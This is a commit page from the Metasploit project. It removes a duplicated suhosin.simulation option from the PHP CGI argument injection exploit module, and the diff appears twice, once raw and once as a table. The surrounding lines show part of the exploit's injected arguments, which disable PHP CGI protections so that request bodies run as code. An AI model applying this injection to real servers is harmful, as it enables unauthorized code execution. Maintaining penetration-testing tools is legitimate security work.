Land rapid7#8683, Remove duplicate setting of suhosin.simulation in php_cgi_arg_injection

pbarry-r7 · pbarry-r7 · commit e69460a52982 · 2017-07-12T09:34:35.000-05:00
diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb
@@ -114,7 +114,6 @@ def exploit
         create_arg("-d","auto_prepend_file=php://input"),
         create_arg("-d", "cgi.force_redirect=#{rand_php_ini_false}"),
         create_arg("-d", "cgi.redirect_status_env=0"),
-        create_arg("-d", "suhosin.simulation=#{rand_php_ini_true}"),
         rand_opt_equiv("-n")
       ]
 

Original file line number	Diff line number	Diff line change
`@@ -114,7 +114,6 @@ def exploit`
`114`	`114`	`create_arg("-d","auto_prepend_file=php://input"),`
`115`	`115`	`create_arg("-d", "cgi.force_redirect=#{rand_php_ini_false}"),`
`116`	`116`	`create_arg("-d", "cgi.redirect_status_env=0"),`
`117`		`- create_arg("-d", "suhosin.simulation=#{rand_php_ini_true}"),`
`118`	`117`	`rand_opt_equiv("-n")`
`119`	`118`	`]`
`120`	`119`